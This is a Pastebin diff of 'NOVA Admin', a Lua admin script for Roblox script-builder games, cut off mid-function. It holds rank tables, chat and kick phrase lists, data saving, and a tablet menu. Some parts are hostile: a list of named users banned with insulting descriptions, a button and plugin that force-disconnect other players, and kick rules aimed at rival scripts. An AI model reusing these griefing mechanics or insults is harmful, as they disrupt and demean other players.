View difference between Paste ID: q6ffy4Ba and 4BikMfR2
SHOW: | | - or go back to the newest paste.
1
--[[  Scythe v.0.3--------------------------------------                                                                                                                                                                                  ]]
2
script.Name = "§ NOVA Admin §" 
3
wait()
4
script.Parent = Instance.new("Glue") -- Stuck!
5
NOVA ={
6
    ShutdownPhrase = "Lol " .. math.random(1,50) .. "XD Shutdown nub low life";
7
    BadPhrases = true;
8
    Ab = false;
9
	 AntiCamball = true;
10
    Bet = "/";
11
    Services = {
12
        Game = game;
13
        RunService = game:GetService("RunService");
14
        Workspace = game:GetService("Workspace");
15
        Lighting = game:GetService("Lighting");
16
        Debris = game:GetService("Debris");
17
        Players = game:GetService("Players");
18
        Teams = game:GetService("Teams");
19
        SoundService = game:GetService("SoundService");
20
        ScriptContext = game:GetService("ScriptContext");
21
        NetworkServer = game:GetService("NetworkServer");
22
        StarterGui = game:GetService("StarterGui");
23
        StarterPack = game:GetService("StarterPack");
24
    };
25
    Ranks = {
26
        {-2,"Lagged"}; -- -2
27
        {-1,"Banned"}; -- -1
28
        {-0.5,"Scum"};
29
        {0,"Guest"}; -- 0
30
        {1,"Mod"}; -- 1
31
        {2,"Admin"}; -- 2
32
        {3,"Developer"}; -- 3
33
        {4,"Omega Admin"}; -- 4
34
        {5,"Overlord"}; -- 5
35
        {6,"OP ( Operator )"}; -- 6 
36
        {7,"Creator"}; -- 7
37
        {8,"ROOT"}; -- 8
38
    };
39
    Alphabet = {
40
    "a",    "b",    "c",    "d",    "e",    "f",    "g",    "h",    "i",    "j",    "k",    "l",    "m",    "n",    "o",    "p",    "q",    "r",    "s",    "t",    "u",    "v",    "w",    "x",    "y",    "z",    
41
    };
42
    Ranked = {  			
43-
        {Name = "Robloxer2810", Rank = 7, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA", Mesh = false};
43+
        {Name = "Ryangamin", Rank = 7, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA", Mesh = false};
44
        {Name = "darkeageninja", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me",Mesh = false};
45
        {Name = "wubbzy301", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me",Mesh = false};
46
        {Name = "xXxArtistxXx", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Leaked NOVA Admin",Mesh = false};
47
        {Name = "mrein5", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "A low life Camball abuser",Mesh = false};
48
	     {Name = "lxljohnlxlalt", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "TOTAL NUB WITH NO LIFE",Mesh = false};
49
50
    };    
51
    Credit = {
52
        {Name = "NetworkClient",Why = "for the tablet function."};
53
        {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."};
54
        {Name = "upquark",Why = "For being a great person in life."};
55
        {Name = "toshir0z",Why = "For teaching me time control."};
56
        {Name = "ask4kingbily",Why = "For showing me how to lock first person."};
57
        {Name = "tusKOr661",Why = "For majorly editing this script."};
58
    };
59
    Animations = {
60
        {Name = "Facepalm", Who = "tusKOr661", Id = "372695cdb6a7540768234ad60ed7a298"};
61
    };
62
    Colors = {
63
        Red = Color3.new(1,0,0);
64
        PinkRed = Color3.new(1,0,0.15);
65
        Orange = Color3.new(1,0.5,0);
66
        Yellow = Color3.new(1,1,0);
67
        Green = Color3.new(0,1,0);
68
        Blue = Color3.new(0,0,1);
69
        LightBlue = Color3.new(0,1,1);
70
        Pink = Color3.new(1,0,1);
71
        Magenta = Color3.new(0.54,0,0.54);
72
        White = Color3.new(1,1,1);
73
        Grey = Color3.new(0.5,0.5,0.5);
74
        Black = Color3.new(0,0,0);
75
    };
76
    Sounds = {
77
        Sound = Instance.new("Sound");
78
        Numbers = { -- one to five ( top to bottom )
79
            "http://www.roblox.com/Asset/?id=29445305",
80
            "http://www.roblox.com/Asset/?id=29445339",
81
            "http://www.roblox.com/Asset/?id=29445358",
82
            "http://www.roblox.com/Asset/?id=29445378",
83
            "http://www.roblox.com/Asset/?id=29445395",
84
        };
85
        PlayAfter = {
86
            "http://www.roblox.com/Asset/?id=2767090",
87
            "http://www.roblox.com/Asset/?id=2800815",
88
            "http://www.roblox.com/Asset/?id=2801263",
89
            "http://www.roblox.com/Asset/?id=11984254",
90
            "http://www.roblox.com/Asset/?id=2101159",
91
            "http://www.roblox.com/Asset/?id=3087031",
92
            "http://www.roblox.com/Asset/?id=2101148",
93
            "http://www.roblox.com/Asset/?id=2233908",
94
            "http://www.roblox.com/Asset/?id=16976189",
95
            "http://www.roblox.com/Asset/?id=2101157",
96
            "http://www.roblox.com/Asset/?id=2974000",
97
            "http://www.roblox.com/Asset/?id=2703110",
98
            "http://www.roblox.com/Asset/?id=1994345",
99
        };
100
    };
101
    AncientRules = {
102
        "Thou shall not use forum scripts.",
103
        "Thou shall not use CamBall / CamSphere.",
104
        "Thou shall not use CBA.",
105
        "Thou shall not use RMDX's scripts.",
106
        "Thou shall not use antibans.",
107
        "Thou shall not abuse thou admin.",
108
        "Thou shall not steal scripts.",
109
        "Thou shall not trade scripts you didn't make.",
110
        "Thou shall not use gay scripts.",
111
        "Thou shall not abuse loopholes in the ancient rules.",
112
    };
113
    ChatFilters = {
114
        "mediafire",
115
        "shit",
116
        "gtfo",
117
        "password",
118
        "hitler",
119
        "vaginas",
120
    };
121
122
    KillingPhrases = {
123
        "ssj",
124
        "yolo",
125
        "swag",
126
    };
127
    KickingPhrases = {
128
             "\"/down\"",
129
        "/down","fweld(","ManualJointSurfaceInstance",
130
        "/hide",
131
        "rpe/",
132
        "antiban",
133
        "ab/",
134
        "camball.",
135
        "camball.came",
136
        "camball/",
137
        "camball /","deadfield","1waffle1",
138
        "cie camball",
139
        "d33k/",
140
        "pban/",
141
        "your own camball",
142
        "created by jordan88282",
143
        "v2 camball",
144
        "cba = {}",
145
        "cba.bet","tusKOr661:Remove()","tusKOr661:Destroy()","tusKOr661.Parent =",
146
        "banmenu","adminlist",
147
        "ban/t","ban/tu","ban/tus","ban/tusk","ban/tusko","ban/tuskor","ban/tuskor6","ban/tuskor66","ban/tuskor661",
148
        "cryston",
149
        "jordan88282", "eyeball","orb","kick/","owner","antikick","iOrb","orb"
150
   };
151
    PreviousDataKeys = {
152
        "Unlimited Gravity&accesskey=lol4&_version="..tostring(_VERSION),
153
    };
154
    LoadTime = {
155
        Start = tick(),
156
        Finish = tick(),
157
    };
158
    Fences = {};
159
    Jails = {};
160
    Objects = {};
161
    Commands = {};
162
    Tablets = {};
163
    Targeted = {};
164
    ExternalPlayersList = {};
165
    Waypoints = {};
166
    Log = {};
167
    LoggedScripts = {};
168
    PRI = false;
169
    LockedScripts = false;
170
    Removed = true;
171
    ShowChat = true;
172
    Canceled = false;
173
    Overrided = false;
174
    TimeChanged = false;
175
    TabletPositionRelative = false;
176
    AntiDLL = false;
177
    EnableGuests = true;
178
    UseGlobals = false;
179
    Overrider = nil;
180
    TabletRotation = 0;
181
    TabletRotationIncrease = 0.03;
182
    AccessKey = "NewData13";
183
    Version = "6th Generation";
184
    DataKey = "Unlimited Gravity";
185
    PRIType = "Kick";
186
    LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal
187
    Script = script:FindFirstChild("PseudoScript"); -- or NewScript
188
    Plugins = script:GetChildren()
189
}
190
--[[ PLAYER PLUGINS ]]--
191
function UpdatePlayerPlugins()
192
    if NOVA.AntiDLL == true then PlayerPlugins = [==[
193
            script.Parent = nil
194
            LocalPlayer = game:GetService("Players").LocalPlayer
195
            
196
            game:GetService("Selection").SelectionChanged:connect(function()
197
                if LocalPlayer.Name ~= "tusKOr661" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
198
                    LocalPlayer.Parent = nil
199
                    LocalPlayer.Parent = game:GetService("Players")
200
                end
201
            end)
202
            coroutine.resume(coroutine.create(function()
203
                while wait() do
204
                    if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
205
                        workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
206
                        LocalPlayer.Parent = nil
207
                        LocalPlayer.Parent = game:GetService("Players")
208
                    end
209
                end
210
            end))
211
        ]==]
212
        else
213
            PlayerPlugins = [==[
214
            script.Parent = nil
215
            LocalPlayer = game:GetService("Players").LocalPlayer
216
        
217
            coroutine.resume(coroutine.create(function()
218
                while wait() do
219
                    if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
220
                        workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
221
                        LocalPlayer.Parent = nil
222
                        LocalPlayer.Parent = game:GetService("Players")
223
                    end
224
                end
225
            end))
226
        ]==]
227
    end
228
end
229
function Color()
230
        local Choice = math.random(1, 5)
231
        if Choice == 1 then
232
                return "Institutional white"
233
        elseif Choice == 2 then
234
                return "White"
235
        elseif Choice == 3 then
236
                return "Really red"
237
        elseif Choice == 4 then
238
                return "New Yeller"
239
        elseif Choice == 5 then
240
                return "Black"
241
        end
242
end   
243
--[[ PSEUDO FUNCTIONS ]]--
244
function CreateLocalScript(Source, Parent)
245
    if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
246
        newLocalScript(Source, Parent)
247
    elseif game.PlaceId == 23232804 then
248
        NewLocalScript(Source, Parent)
249
    elseif NOVA.LocalScript ~= nil then
250
        NS = NOVA.LocalScript:Clone()
251
        NS.Name = "LocalScript"
252
        pcall(function() NS:ClearAllChildren() end)
253
        NewSource = Instance.new("StringValue",NS)
254
        NewSource.Name = "Source"
255
        if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
256
            NewSource.Name = "DSource"
257
        end
258
        NewSource.Value = Source
259
        NS.Parent = Parent
260
        NS.Disabled = false
261
    else
262
        print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
263
    end
264
end
265
266
function CreateScript(Source, Parent)
267
    if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
268
        newScript(Source, Parent)
269
    elseif game.PlaceId == 23232804 then
270
        NewScript(Source, Parent)
271
    elseif NOVA.Script ~= nil then
272
        NS = NOVA.Script:Clone()
273
        NS.Name = "Script"
274
        pcall(function() NS:ClearAllChildren() end)
275
        NewSource = Instance.new("StringValue",NS)
276
        NewSource.Name = "Source"
277
        NewSource.Value = Source
278
        NS.Parent = Parent
279
        NS.Disabled = false
280
    else
281
        print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
282
    end
283
end
284
285
function IsTargeted(Player)
286
    if type(Player) == "string" then
287
        for _,v in pairs(NOVA.Targeted) do
288
            if v.Name == Player then
289
                return true
290
            end
291
        end
292
    elseif type(Player) == "userdata" then
293
        for _,v in pairs(NOVA.Targeted) do
294
            if Player == v then
295
                return true
296
            end
297
        end
298
    else
299
        print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
300
    end
301
    return false
302
end
303
304
--[[ DATA PERSISTANCE ]]--
305
--[[ SYNC RANKS IN ]]--
306
function SyncRanksIn()
307
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
308
        SyncRankInSingular(v)
309
    end
310
end
311
--[[ SYNC RANK IN SINGULAR ]]--
312
function SyncRankInSingular(v)
313
    if type(v) ~= "userdata" then
314
        print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.")
315
        return
316
    end
317
    coroutine.resume(coroutine.create(function()
318
        repeat wait() until v.DataReady == true
319
        
320
        if GetRankedTable(v) == nil then
321
            table.insert(NOVA.Ranked,{
322
                Name = v.Name,
323
                CMD = false,
324
                Rank = 0,
325
                Color = NOVA.Colors.Orange,
326
                Desc = "N/A",
327
                Complaints = Instance.new("Model"),
328
                Executeables = Instance.new("Model"),
329
					 Mesh = false
330
            })
331
				
332
        end
333
        
334
        local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version)
335
        local Data = GetRankedTable(v)
336
        
337
        if PhysicalData == nil then
338
            Data.Name = v.Name
339
            Data.CMD = false
340
            Data.Rank = 0
341
            Data.Color = NOVA.Colors.Orange
342
            Data.Desc = "N/A"
343
            Data.Complaints = Instance.new("Model")
344
            Data.Executeables = Instance.new("Model")
345
        elseif PhysicalData ~= nil then
346
            pcall(function() Data.Name = v.Name end)
347
            pcall(function() Data.CMD = PhysicalData.CMD.Value end)
348
            pcall(function() Data.Rank = PhysicalData.RANK.Value end)
349
            pcall(function() Data.Color = PhysicalData.COLOR.Value end)
350
            pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end)
351
            pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end)
352
            pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end)
353
            if Data.CMD == nil then Data.CMD = false end
354
            if Data.Rank == nil then Data.Rank = 0 end
355
            if Data.Color == nil then Data.Color = NOVA.Colors.Orange end
356
            if Data.Desc == nil then Data.Desc = "N/A" end
357
            if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end
358
            if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end
359
        end
360
    end))
361
end
362
363
--[[ SYNC RANKS OUT ]]--
364
function SyncRanksOut()
365
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
366
        SyncRankOutSingular(v)
367
    end
368
end
369
370
--[[ SYNC RANK OUT SINGULAR ]]--
371
function SyncRankOutSingular(v)
372
    coroutine.resume(coroutine.create(function()
373
        repeat wait() until v.DataReady == true
374
        local RankData = GetRankedTable(v)
375
        if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end
376
        local Data = Instance.new("Model")
377
        Data.Name = "PlayerData"
378
        local CMD = Instance.new("BoolValue",Data)
379
        CMD.Name = "CMD"
380
        CMD.Value = RankData.CMD
381
        local Rank = Instance.new("NumberValue",Data)
382
        Rank.Name = "RANK"
383
        Rank.Value = RankData.Rank
384
        local Color = Instance.new("Color3Value",Data)
385
        Color.Name = "COLOR"
386
        Color.Value = RankData.Color
387
        local Desc = Instance.new("StringValue",Data)
388
        Desc.Name = "DESCRIPTION"
389
        Desc.Value = RankData.Desc
390
        local Complaints = RankData.Complaints:Clone()
391
        Complaints.Name = "COMPLAINTS"
392
        local Executeables = RankData.Executeables:Clone()
393
        Executeables.Name = "EXECUTEABLES"
394
        local MeshVa = Instance.new("BoolValue",Data)
395
	MeshVa = RankData.Mesh
396
	if MeshVa.Value == true then
397
	local MeshId = Instance.new("StringValue",Data)
398
	MeshId = RankData.MeshId
399
	end
400
        v:SaveInstance(NOVA.DataKey.."&accesskey=".. NOVA.AccessKey .. "&_version="..NOVA.Version,Data)
401
        for _,v in pairs(NOVA.PreviousDataKeys) do
402
            v:SaveInstance(v,Data)
403
        end
404
    end))
405
end
406
407
--[[ PLAYER INTERFACE ]]--
408
function PlayerInterface(v,Speaker)
409
    RemoveTablets(Speaker)
410
    local Data = GetRankedTable(v)
411
    OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker)
412
    Output("Rank Name : "..GetRankName(v),Data.Color,Speaker)
413
    Output("Rank Number : "..Data.Rank,Data.Color,Speaker)
414
    Output("Account Age : "..v.AccountAge,Data.Color,Speaker)
415
    Output("User Id : "..v.userId,Data.Color,Speaker)
416
    Output("Desc : "..Data.Desc,Data.Color,Speaker)
417
    Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker)
418
    Output("Color : "..tostring(Data.Color),Data.Color,Speaker)
419
        if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then
420
        Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
421
            function()
422
                Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey
423
 end
424
        )
425
    end
426
    if GetRank(Speaker) > Data.Rank or v == Speaker then
427
        Output("Set CMD",NOVA.Colors.Blue,Speaker,nil,
428
            function()
429
                RemoveTablets(Speaker)
430
                Output("True",NOVA.Colors.Green,Speaker,nil,
431
                    function()
432
                        Data.CMD = true
433
                        SyncRankOutSingular(v)
434
                        PlayerInterface(v,Speaker)
435
                    end
436
                )
437
                Output("False",NOVA.Colors.Red,Speaker,nil,
438
                    function()
439
                        Data.CMD = false
440
                        SyncRankOutSingular(v)
441
                        PlayerInterface(v,Speaker)
442
                    end
443
                )
444
                Output("Done",NOVA.Colors.Blue,Speaker,nil,
445
                    function()
446
                        PlayerInterface(v,Speaker)
447
                    end
448
                )
449
                Output("Dismiss",NOVA.Colors.Red,Speaker)
450
            end
451
        )
452
    end
453
if GetRank(Speaker) > Data.Rank or v == Speaker then
454
        Output("Set Mesh",NOVA.Colors.Blue,Speaker,nil,
455
            function()
456
                RemoveTablets(Speaker)
457
                Output("Rainbow Dominus",NOVA.Colors.Green,Speaker,nil,
458
                    function()
459
                        Data.Mesh = "Dominus"
460
                        SyncRankOutSingular(v)
461
                        PlayerInterface(v,Speaker)
462
                    end
463
                )
464
				    Output("Giant Spider",NOVA.Colors.Red,Speaker,nil,
465
                    function()
466
                        Data.Mesh = "Spider"
467
                        SyncRankOutSingular(v)
468
                        PlayerInterface(v,Speaker)
469
                    end
470
                )
471
                Output("Orb",NOVA.Colors.Red,Speaker,nil,
472
                    function()
473
                        Data.Mesh = "Orb"
474
                        SyncRankOutSingular(v)
475
                        PlayerInterface(v,Speaker)
476
                    end
477
                )
478
                Output("Tabet",NOVA.Colors.Red,Speaker,nil,
479
                    function()
480
                        Data.Mesh = "Tablet"
481
                        SyncRankOutSingular(v)
482
                        PlayerInterface(v,Speaker)
483
                    end
484
                )
485
                Output("Normal",NOVA.Colors.Red,Speaker,nil,
486
                    function()
487
                        Data.Mesh = false
488
                        SyncRankOutSingular(v)
489
                        PlayerInterface(v,Speaker)
490
                    end
491
                )
492
                Output("Done",NOVA.Colors.Blue,Speaker,nil,
493
                    function()
494
                        PlayerInterface(v,Speaker)
495
                    end
496
                )
497
                Output("Dismiss",NOVA.Colors.Red,Speaker)
498
            end
499
        )
500
    end
501
    if GetRank(Speaker) > Data.Rank then
502
        Output("Set Rank",NOVA.Colors.Blue,Speaker,nil,
503
            function()
504
                RemoveTablets(Speaker)
505
                for i,v in pairs(NOVA.Ranks) do
506
                    if v[1] ~= 8 then
507
                        Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil,
508
                            function()
509
                                RemoveTablets(Speaker)
510
                                Data.Rank = v[1]
511
                                SyncRankOutSingular(v)
512
                                PlayerInterface(v,Speaker)
513
                            end    
514
                        )
515
                    end
516
                end
517
                Output("Dismiss",NOVA.Colors.Red,Speaker)
518
                Output("Back",NOVA.Colors.Blue,Speaker,nil,
519
                    function()
520
                        PlayerInterface(v,Speaker)
521
                    end
522
                )
523
                
524
            end
525
        )
526
    end
527
    if GetRank(Speaker) > Data.Rank or v == Speaker then
528
        Output("Set Color",NOVA.Colors.Blue,Speaker,nil,
529
            function()
530
                RemoveTablets(Speaker)
531
                for i,Color in pairs(NOVA.Colors) do
532
                    Output(tostring(i),Color,Speaker,nil,
533
                        function()
534
                            Data.Color = Color
535
                            PlayerInterface(v,Speaker)
536
                            SyncRankOutSingular(v)
537
                        end
538
                    )
539
                    
540
                end
541
                Output("Back",NOVA.Colors.Blue,Speaker,nil,
542
                        function()
543
                            PlayerInterface(v,Speaker)
544
                        end
545
                    )
546
                Output("Dismiss",NOVA.Colors.Red,Speaker)
547
            end
548
        )
549
    end
550
    Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil,
551
        function()
552
            RemoveTablets(Speaker)
553
            OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
554
        end
555
    )
556
    Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil,
557
        function()
558
            RemoveTablets(Speaker)
559
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker)
560
        end
561
    )
562
    Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil,
563
        function()
564
            RemoveTablets(Speaker)
565
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker)
566
        end
567
    )
568
    Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil,
569
        function()
570
            RemoveTablets(Speaker)
571
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker)
572
        end
573
    )
574
    Output("Dismiss",NOVA.Colors.Red,Speaker)
575
end
576
577
--[[ MAKE HINT ]]--
578
579
function makeHint(Text,Parent)
580
    coroutine.resume(coroutine.create(function()
581
        local M = Instance.new("Hint",Parent)
582
        for i = 1, string.len(Text) do
583
            M.Text = M.Text .. string.sub(Text, i, i)
584
            wait(math.random() * 0.1)
585
        end
586
        M.Text = M.Text .. ""
587
        for i = 1, math.random(2, 6) do
588
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
589
            wait(0.4)
590
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
591
            wait(0.4)
592
        end
593
        M.Text = string.sub(M.Text, 1, string.len(Text))
594
        for i = 1, string.len(M.Text) do
595
            M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
596
            wait()
597
        end
598
			M:Remove()
599
    end))
600
end
601
function makeMessage(Text,Parent)
602
    coroutine.resume(coroutine.create(function()
603
        local M = Instance.new("Message",Parent)
604
        for i = 1, string.len(Text) do
605
            M.Text = M.Text .. string.sub(Text, i, i)
606
            wait(math.random() * 0.1)
607
        end
608
        M.Text = M.Text .. ""
609
        for i = 1, math.random(2, 6) do
610
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
611
            wait(0.4)
612
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
613
            wait(0.4)
614
        end
615
        M.Text = string.sub(M.Text, 1, string.len(Text))
616
        for i = 1, string.len(M.Text) do
617
            M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
618
            wait()
619
        end
620
        M:Remove()
621
    end))
622
end
623
624
--[[ EXPLORE ]]--
625
function Explore(Thing,Speaker)
626
    if Speaker == nil then 
627
        print("[NOVA.Explore] Argument 1 missing or nil.")
628
        return
629
    end
630
    pcall(function()
631
        if Thing == game or Thing == nil then
632
            RemoveTablets(Speaker)
633
            for _,v in pairs(NOVA.Services) do
634
                Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
635
            end
636
            Output("Dismiss",NOVA.Colors.Red,Speaker)
637
        else
638
            if #Thing:children() == 0 then
639
                RemoveTablets(Speaker)
640
                Explore(Thing.Parent.Parent,Speaker)    
641
            else
642
                RemoveTablets(Speaker)
643
                for _,v in pairs(Thing:children()) do
644
                    Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
645
                        function()
646
                            RemoveTablets(Speaker)
647
                            Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
648
                            Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
649
                            Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
650
                            Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
651
                            Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
652
                            Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
653
                            Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
654
                            Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
655
                            Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
656
                            Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
657
                            Output("Dismiss",NOVA.Colors.Red,Speaker)
658
                        end
659
                    )
660
                end
661
                Output("Dismiss",NOVA.Colors.Red,Speaker)
662
            end
663
        end
664
    end)
665
end
666
667
--[[ CAPE ]]--
668
function Cape(v)
669
    local Mode = "None"
670
    local AngleX = 0
671
    pcall(function()
672
        v.Character.Swordpack:remove()
673
    end)
674
    pcall(function()    
675
        v.Character["NOVA Cape"]:remove()
676
    end)
677
678
    local Main = Instance.new("Model",v.Character)
679
    Main.Name = "NOVA Cape"
680
681
    pcall(function()
682
        v.Character.Swordpack:Remove()
683
    end)
684
685
    local Cape = Instance.new("Part", Main)
686
    Cape.Name = "Cape"
687
    Cape.Anchored = false
688
    Cape.Locked = true
689
    Cape.CanCollide = false
690
    Cape.formFactor = "Custom"
691
    Cape.Size = Vector3.new(2, 3.5, 0.2)
692
    Cape.BrickColor = BrickColor.new("Really black")
693
    Cape.TopSurface = 0
694
    Cape.BottomSurface = 0
695
    local Decal = Instance.new("Decal", Cape)
696
    Decal.Face = "Back"
697
    Decal.Texture = ""
698
    local CapeWeld = Instance.new("Weld", Cape)
699
    CapeWeld.Part0 = v.Character.Torso
700
    CapeWeld.Part1 = Cape
701
    CapeWeld.C0 = CFrame.new(0, 1, 0.5)
702
    CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
703
    v.Character.Humanoid.Running:connect(function(Speed)
704
        if Speed > 0 then
705
            Mode = "Running"
706
        else
707
            Mode = "None"
708
        end
709
    end)
710
    v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
711
    coroutine.wrap(function()
712
        while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
713
            local UpSpeed = 2.5
714
            local DownSpeed = 5
715
            local TargetAngle = 5
716
            if Mode == "Running" then
717
                TargetAngle = 45 + math.random(0, 2500) / 100
718
            elseif Mode == "Jumping" then
719
                UpSpeed = 10
720
                DownSpeed = 10
721
                TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
722
            end
723
            if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
724
            if AngleX < TargetAngle then
725
                AngleX = AngleX + UpSpeed
726
            elseif AngleX > TargetAngle then
727
                AngleX = AngleX - DownSpeed
728
            end
729
            CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
730
            wait()
731
        end
732
    end)()
733
734
    local LShoulder = Instance.new("Part",Main)
735
    LShoulder.Name = "Left Shoulder"
736
    LShoulder.TopSurface = "Smooth"
737
    LShoulder.BottomSurface = "Smooth"
738
    LShoulder.FormFactor = "Custom"
739
    LShoulder.Size = Vector3.new(1,0.2,1)
740
    LShoulder.BrickColor = BrickColor.new("Really black")
741
    LShoulder.Anchored = false
742
    LShoulder.Locked = true
743
    LShoulder.CanCollide = false
744
    LShoulder.Transparency = 0
745
    LShoulder.Reflectance = 0
746
    local Weld = Instance.new("Motor6D",LShoulder)
747
    Weld.Part0 = LShoulder
748
    Weld.Part1 = v.Character["Left Arm"]
749
    Weld.C0 = CFrame.new(0,-1,0)
750
751
    local RShoulder = Instance.new("Part",Main)
752
    RShoulder.Name = "Right Shoulder"
753
    RShoulder.TopSurface = "Smooth"
754
    RShoulder.BottomSurface = "Smooth"
755
    RShoulder.FormFactor = "Custom"
756
    RShoulder.Size = Vector3.new(1,0.2,1)
757
    RShoulder.BrickColor = BrickColor.new("Really black")
758
    RShoulder.Anchored = false
759
    RShoulder.Locked = true
760
    RShoulder.CanCollide = false
761
    RShoulder.Transparency = 0
762
    RShoulder.Reflectance = 0
763
    local Weld = Instance.new("Motor6D",RShoulder)
764
    Weld.Part0 = RShoulder
765
    Weld.Part1 = v.Character["Right Arm"]
766
    Weld.C0 = CFrame.new(0,-1,0)
767
768
    local NeckFlat = Instance.new("Part",Main)
769
    NeckFlat.Name = "NeckFlat"
770
    NeckFlat.TopSurface = "Smooth"
771
    NeckFlat.BottomSurface = "Smooth"
772
    NeckFlat.FormFactor = "Custom"
773
    NeckFlat.Size = Vector3.new(2,0.2,1)
774
    NeckFlat.BrickColor = BrickColor.new("Really black")
775
    NeckFlat.Anchored = false
776
    NeckFlat.Locked = true
777
    NeckFlat.CanCollide = false
778
    NeckFlat.Transparency = 0
779
    NeckFlat.Reflectance = 0
780
    local Weld = Instance.new("Motor6D",NeckFlat)
781
    Weld.Part0 = NeckFlat
782
    Weld.Part1 = v.Character.Torso
783
    Weld.C0 = CFrame.new(0,-1,0)
784
785
    for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
786
787
end
788
789
--[[ GET SPLIT ]]--
790
function GetSplit(Msg)
791
    Split = nil
792
    for i=1,100 do
793
        if string.sub(Msg,i,i) == NOVA.Bet then
794
            Split = i
795
            break
796
        end
797
    end 
798
    return Split
799
end
800
801
--[[ GET RANK ]]--
802
803
function GetRank(Player)
804
    Rtn = nil
805
    if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then
806
        return 8
807
    end
808
    if type(Player) == "userdata" then
809
        for _,v in pairs(NOVA.Ranked) do 
810
